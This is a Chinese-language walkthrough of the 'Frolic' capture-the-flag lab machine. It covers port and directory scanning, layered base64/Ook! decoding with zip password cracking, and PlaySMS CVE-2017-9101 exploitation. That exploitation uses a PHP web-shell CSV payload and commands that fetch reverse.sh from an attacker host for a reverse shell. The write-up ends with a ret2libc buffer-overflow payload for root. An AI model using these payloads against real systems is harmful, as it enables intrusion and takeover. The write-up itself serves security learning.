[Meachines] [Easy] Frolic zip密码爆破+Ook!密文解密+Play-SMS-Upload-RCE+BOF缓冲区溢出-ROP链权限提升
字数 1075 2025-08-20 18:18:40
Frolic靶机渗透测试教学文档
1. 信息收集阶段
1.1 端口扫描
使用nmap进行全端口扫描:
nmap -p- 10.10.10.111 --min-rate 1000 -sC -sV
发现开放端口:
- 22/tcp - OpenSSH 7.2p2 Ubuntu
- 139/tcp - Samba smbd 3.X - 4.X
- 445/tcp - Samba smbd 4.3.11-Ubuntu
- 1880/tcp - Node.js (Express middleware)
- 9999/tcp - nginx 1.10.3 (Ubuntu)
1.2 Web目录扫描
使用gobuster扫描web目录:
gobuster dir -u "http://10.10.10.111:9999" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,php -b 404,403 -t 50
发现关键路径:
/admin/success.html- 包含Ook!密文/asdiSIAJJ0QWE9JAS/- 可疑路径
2. 初始访问
2.1 Ook!密文解密
- 访问
/admin/success.html发现提示"Nothing here check /asdiSIAJJ0QWE9JAS" - 访问该路径获取base64编码数据
- 解码base64数据:
echo "UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwABBAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbsK1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmveEMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTjlurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkCAAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBPAAAAAwEAAAAA" | base64 -d > out
- 使用binwalk分析文件:
binwalk out
- 发现是zip文件,使用zip2john和john爆破密码:
unzip out
zip2john out > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
- 解压后得到index.php文件,包含另一段编码数据:
echo "4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a" | xxd -r -p
- 解码后得到另一段base64:
echo "KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwrKysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysgK1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0tLS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==" | base64 -d
- 最终解密得到Ook!语言代码,可使用在线工具解密
3. Play-SMS漏洞利用
3.1 发现Play-SMS
通过目录扫描发现:
gobuster dir -u "http://10.10.10.111:9999/dev/" -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,php -b 404,403 -t 50
访问路径:
http://10.10.10.111:9999/playsms/index.php?app=main&inc=core_auth&route=login
发现PlaySMS 1.4版本,已知存在RCE漏洞(CVE-2017-9101)
3.2 利用PlaySMS上传漏洞
- 构造恶意CSV文件:
Name,Mobile,Email,Group code,Tags<?php system($_GET[1]); ?>,x,,,
- 上传CSV文件:
http://10.10.10.111:9999/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=list
- 执行命令:
http://10.10.10.111:9999/playsms/index.php?1=ls&app=main&inc=feature_phonebook&op=phonebook_list
- 获取反向shell:
# 下载reverse.sh
http://10.10.10.111:9999/playsms/index.php?1=cd%20/dev/shm;wget%20http://10.10.16.14/reverse.sh&app=main&inc=feature_phonebook&op=phonebook_list
# 添加执行权限
http://10.10.10.111:9999/playsms/index.php?1=chmod%20%2Bx%20/dev/shm/reverse.sh;ls%20-la%20/dev/shm&app=main&inc=feature_phonebook&op=phonebook_list
# 执行
http://10.10.10.111:9999/playsms/index.php?1=/dev/shm/reverse.sh&app=main&inc=feature_phonebook&op=phonebook_list
4. 权限提升
4.1 发现SUID二进制文件
在/home/ayush/.binary/目录下发现rop二进制文件,具有SUID权限
4.2 缓冲区溢出分析
- 检查ASLR状态:
cat /proc/sys/kernel/randomize_va_space
# 发现ASLR关闭(值为0)
- 使用gdb分析:
gdb -q ./rop
- 创建模式字符串:
pattern_create 1000
- 运行程序并确定溢出点:
run 'A......'
pattern_offset 0x41474141
# 发现缓冲区溢出大小为52字节
4.3 ROP链构造
- 检查程序依赖库:
ldd rop
# 发现libc.so.6基地址为0xb7e19000
- 查找关键函数和字符串偏移:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system@"
# system偏移:0x0003ada0
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " exit@"
# exit偏移:0x0002e9d0
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
# /bin/sh偏移:0x15ba0b
- 计算实际内存地址:
system: 0xb7e19000 + 0x0003ada0 = 0xB7E53DA0
exit: 0xb7e19000 + 0x0002e9d0 = 0xB7E479D0
/bin/sh: 0xb7e19000 + 0x15ba0b = 0xB7F74A0B
- 构造ROP链:
BUFF(52字节) + SYSTEM地址 + EXIT地址 + /bin/sh地址
- 执行ROP攻击:
./rop $(python2 -c 'print("A"*52 + "\xA0\x3D\xE5\xB7" + "\xD0\x79\xE4\xB7" + "\x0B\x4A\xF7\xB7")')
5. 总结
本渗透测试过程涉及:
- 信息收集与端口扫描
- 编码数据解密(多层base64和Ook!语言)
- PlaySMS漏洞利用(CVE-2017-9101)
- 缓冲区溢出与ROP链构造
- 利用SUID二进制文件进行权限提升
关键点:
- 多层编码数据的识别与解密
- PlaySMS的CSV上传漏洞利用
- 在ASLR关闭环境下构造ROP链
- 利用libc中的函数和字符串地址绕过DEP保护